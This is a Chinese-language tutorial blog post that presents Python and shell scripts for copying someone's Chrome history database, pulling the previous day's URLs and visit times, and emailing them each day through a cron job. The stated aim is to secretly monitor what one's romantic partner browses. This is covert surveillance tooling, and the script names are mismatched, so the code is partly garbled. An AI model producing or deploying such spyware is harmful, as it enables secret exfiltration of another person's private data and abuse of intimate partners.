Python实时监控网站浏览记录实现过程详解


Posted in Python onJuly 14, 2020

需求:

(1) 获取你对象chrome前一天的浏览记录中的所有网址(url)和访问时间,并存在一个txt文件中

(2)将这个txt文件发送给指定的邮箱地址(你的邮箱)

(3)建立例行任务,每天定时自动完成这些操作,你就可以通过邮件查看你对象每天看啥了

准备

  • macOS Sierra
  • Python3.6
  • Chrome

发送邮件的qq邮箱地址

qq邮箱授权码

SMTP服务器地址 : smtp.qq.com

接受邮件的邮箱地址

执行:

(1) 首先我们用DB Browser for SQLite来看下History中的urls表的数据组成

从表中可以看出,我们要的网址和访问时间就在urls.url和urls.last_visit_time中

Python实时监控网站浏览记录实现过程详解

(2) get_history.py:

# -*- coding: utf-8 -*-
from email import encoders
from email.header import Header
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email.utils import parseaddr, formataddr
import smtplib
import argparse

# 1.文件执行的需要的参数(result.txt)
parser = argparse.ArgumentParser()
parser.add_argument('affix_file',help='the path of the affix')
args = parser.parse_args()


# 2.格式化一个邮件地址和邮件信息
def _format_addr(s):
  name, addr = parseaddr(s)
  return formataddr((Header(name, 'utf-8').encode(), addr))

#连接服务器(这里大家好改成自己的!)
from_addr = "771568102@qq.com" #发件人邮箱
password = "xxxxxxxx" #发件人邮箱授权码
to_addr = "2160802033@cnu.edu.cn" #收件人邮箱
smtp_server = "smtp.qq.com" #SMTP服务器地址

#邮件发件人名字、收件人名字、主题
msg = MIMEMultipart()
msg['From'] = _format_addr('风一样的女子 <%s>' % from_addr)
msg['To'] = _format_addr('风一样的男子 <%s>' % to_addr)
msg['Subject'] = Header('chrome历史记录每日更新', 'utf-8').encode()

# 邮件正文是MIMEText:
msg.attach(MIMEText('窥探隐私是犯法的啊!', 'plain', 'utf-8'))

# 添加附件就是加上一个MIMEBase,从本地读取一个txt文件:
with open(args.affix_file, 'r') as f:
  # 设置附件的MIME和文件名,这里是py类型:
  mime = MIMEBase('result', 'txt', filename='result.txt')
  # 加上必要的头信息:
  mime.add_header('Content-Disposition', 'attachment', filename='result.txt')
  mime.add_header('Content-ID', '<0>')
  mime.add_header('X-Attachment-Id', '0')
  # 把附件的内容读进来:
  mime.set_payload(f.read())
  # 用Base64编码:
  encoders.encode_base64(mime)
  # 添加到MIMEMultipart:
  msg.attach(mime)

#3.通过SMTP发送出去
server = smtplib.SMTP(smtp_server, 25)
server.set_debuglevel(1)
server.login(from_addr, password)
server.sendmail(from_addr, [to_addr], msg.as_string())
server.quit()

通过这个脚本,我们可以把url和访问时间提取出来,并且存储在

result.txt中,下图就是我得到的部分结果

Python实时监控网站浏览记录实现过程详解

(3) send_email.py:

# -*- coding: utf-8 -*-
import sqlite3

#大家要改成自己的路径
history_db = '/Users/Marcel/Desktop/tmp/code/chrome_history/History'

# 1.连接history_db
c = sqlite3.connect(history_db)
cursor = c.cursor()


# 2.选取我们想要的网址和访问时间
try:
  select_statement = "SELECT url,datetime(last_visit_time/1000000-11644473600,'unixepoch','localtime') AS tm FROM urls WHERE julianday('now') - julianday(tm) < 1 ORDER BY tm;"
  cursor.execute(select_statement)
except sqlite3.OperationalError:
  print("[!] The database is locked! Please exit Chrome and run the script again.")
  quit()

# 3.将网址和访问时间存入result.txt文件
results = cursor.fetchall()
with open('/Users/Marcel/Desktop/tmp/code/chrome_history/result.txt','w') as f:#改成自己的路径
  for i in range(len(results)):
    f.write(results[i][1]+'\n')
    f.write(results[i][0]+'\n')

通过这个脚本,我们可以把result.txt作为附件,发送给指定邮箱地

址,下图是我得到的部分结果

Python实时监控网站浏览记录实现过程详解

(4) ./start.sh :其实,前面几个脚本,已经完成了我们的任务,但是每次都执行这么多脚

本,太麻烦了,我们可以把这些脚本的执行语句整理成一个shell脚本。

cp /Users/Marcel/Library/Application\ Support/Google/Chrome/Default/History /Users/Marcel/Desktop/tmp/code/chrome_history/
python /Users/Marcel/Desktop/tmp/code/chrome_history/get_history.py
python /Users/Marcel/Desktop/tmp/code/chrome_history/send_mail.py /Users/Marcel/Desktop/tmp/code/chrome_history/result.txt

这样,我们在终端执行./start.sh,系统就会帮我们把这三条语句依次执行了

注意:由于crontab命令需要绝对路径,所以这里的路径都是用绝对路径

(5) crontab :如果使用了这个命令,在电脑开机并且联网的情况,系统会自动执行,然后把结果发到你的邮箱

使用方法:在终端下输入crontab -e,使用vim输入下面一行代码就可以了

20 14 * * * /Users/Marcel/Desktop/tmp/code/chrome_history/start.sh

说明:前面两个数字,就是你每天执行这个脚本的时间,我这里设置的是14:20。

重要的事再说一遍,一定要写绝对路径!!

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持三水点靠木。

Python 相关文章推荐
Python数据分析之如何利用pandas查询数据示例代码
Sep 01 Python
python监控linux内存并写入mongodb(推荐)
Sep 11 Python
python 调用c语言函数的方法
Sep 29 Python
python使用folium库绘制地图点击框
Sep 21 Python
详解如何将python3.6软件的py文件打包成exe程序
Oct 09 Python
详解Python读取yaml文件多层菜单
Mar 23 Python
Python字典对象实现原理详解
Jul 01 Python
ZABBIX3.2使用python脚本实现监控报表的方法
Jul 02 Python
pandas 使用均值填充缺失值列的小技巧分享
Jul 04 Python
Python程序暂停的正常处理方法
Nov 07 Python
在python中list作函数形参,防止被实参修改的实现方法
Jun 05 Python
scrapy框架携带cookie访问淘宝购物车功能的实现代码
Jul 07 Python
python3 中时间戳、时间、日期的转换和加减操作
Jul 14 #Python
python转化excel数字日期为标准日期操作
Jul 14 #Python
Python 实现将某一列设置为str类型
Jul 14 #Python
使用python编写一个语音朗读闹钟功能的示例代码
Jul 14 #Python
利用python对excel中一列的时间数据更改格式操作
Jul 14 #Python
Python库安装速度过慢解决方案
Jul 14 #Python
解决Python paramiko 模块远程执行ssh 命令 nohup 不生效的问题
Jul 14 #Python
You might like
PHP微信开发之微信消息自动回复下所遇到的坑
2016/05/09 PHP
OfflineSave离线保存代码再次发布使用说明
2007/05/23 Javascript
js 居中漂浮广告
2010/03/21 Javascript
JS继承 笔记
2011/07/13 Javascript
使用JQuery快速实现Tab的AJAX动态载入(实例讲解)
2013/12/11 Javascript
jQuery实现列表自动滚动循环滚动展示新闻
2014/08/22 Javascript
JavaScript中判断整数的多种方法总结
2014/11/08 Javascript
TypeScript具有的几个不同特质
2015/04/07 Javascript
JavaScript字符串常用类使用方法汇总
2015/04/14 Javascript
JS获取下拉框显示值和判断单选按钮的方法
2015/07/09 Javascript
js实现可折叠展开的手风琴菜单效果
2015/09/07 Javascript
jquery无限级联下拉菜单简单实例演示
2015/11/23 Javascript
js实现网页收藏功能
2015/12/17 Javascript
JavaScript实现跑马灯抽奖活动实例代码解析与优化(二)
2016/02/16 Javascript
功能强大的jquery.validate表单验证插件
2016/11/07 Javascript
Javascript基础回顾之(二) js作用域
2017/01/31 Javascript
Vue底层实现原理总结
2018/02/17 Javascript
非常实用的jQuery代码段集锦【检测浏览器、滚动、复制、淡入淡出等】
2019/08/08 jQuery
js实现抽奖功能
2020/11/24 Javascript
微信小程序之高德地图多点路线规划过程示例详解
2021/01/18 Javascript
Python实现多线程下载文件的代码实例
2014/06/01 Python
在Python中使用mongoengine操作MongoDB教程
2015/04/24 Python
python获取当前日期和时间的方法
2015/04/30 Python
python实现在windows服务中新建进程的方法
2015/06/30 Python
Python实现提取谷歌音乐搜索结果的方法
2015/07/10 Python
Python使用PDFMiner解析PDF代码实例
2017/03/27 Python
新手常见6种的python报错及解决方法
2018/03/09 Python
Python基础教程之利用期物处理并发
2018/03/29 Python
python画折线图的程序
2018/07/26 Python
python爬虫 爬取58同城上所有城市的租房信息详解
2019/07/30 Python
Pycharm如何运行.py文件的方法步骤
2020/03/03 Python
Pycharm无法打开双击没反应的问题及解决方案
2020/08/17 Python
干部行政关系介绍信
2014/01/17 职场文书
2015年五一劳动节慰问信
2015/03/23 职场文书
2015年征兵工作总结
2015/07/23 职场文书
总结几个非常实用的Python库
2021/06/26 Python